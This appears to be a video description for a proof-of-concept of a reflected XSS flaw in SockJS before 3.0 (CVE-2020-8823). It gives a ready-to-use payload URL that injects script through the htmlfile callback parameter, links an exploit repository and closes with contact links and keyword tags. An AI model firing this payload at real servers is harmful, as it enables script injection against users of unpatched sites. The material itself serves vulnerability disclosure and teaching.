Reflected XSS POC on SockJS | SockJS Exploit
SockJS Exploit | Rahad Chowdhury
What is SockJS?
SockJS is a JavaScript library (for browsers) that provides a WebSocket-like object. SockJS gives you a coherent, cross-browser, Javascript API which creates a low latency, full duplex, cross-domain communication channel between the browser and the web server, with WebSockets or without. This necessitates the use of a server, which this is one version of, for Node.js.
There is a Reflected XSS Vulnerability in SockJS on versions before of 3.0.
Payload:
https://{vulnerable_dir}/000/{some_UUID}/htmlfile?c=alert(%27SOCKJS%27)//
For example:
https://{vulnerable_dir}/000/0d1d5bc5-d326-4690-9e25-e08ef24a7e3a/htmlfile?c=alert(%27SOCKJS%27)//
SockJS Link:
https://github.com/sockjs/
SockJS Exploit Link:
github = /theyiyibest/Reflected-XSS-on-SockJS
This Video is only for educational purpose and channel owner is not liable for any wrong taken by viewer.
If You face any Problem You can Contact with Me
..............................................................................................................
Contact:::
..............................................................................................................
Facebook:
/ rahadchowdhury
..............................................................................................................
Web: https://rahadchowdhury.info
Read Blog:
...............................................................................................................
Linkedin:
/ rahadchowdhury
..............................................................................................................
Twitter: / hinad5
..............................................................................................................
#SockJS
#SockJSExploit
#SockJSVulnerability
SockJS Exploit
SockJS Vulnerability
Sock JS Exploit
Sock JS Vulnerability
Reflected XSS on SockJS
Reflected XSS in SockJS
SockJS Bangla
SockJS Explanation
SockJS Explanation Hindi
SockJS Hindi
SockJS Vulnerability Explanation
SockJS Exploit Explanation
Cross-site scripting in Sockjs
Cross-site scripting on Sockjs
XSS on SockJS
XSS in SockJS
SockJS exploitation
CVE-2020-8823
Reflected XSS Vulnerability in SockJS
Reflected XSS Vulnerability on SockJS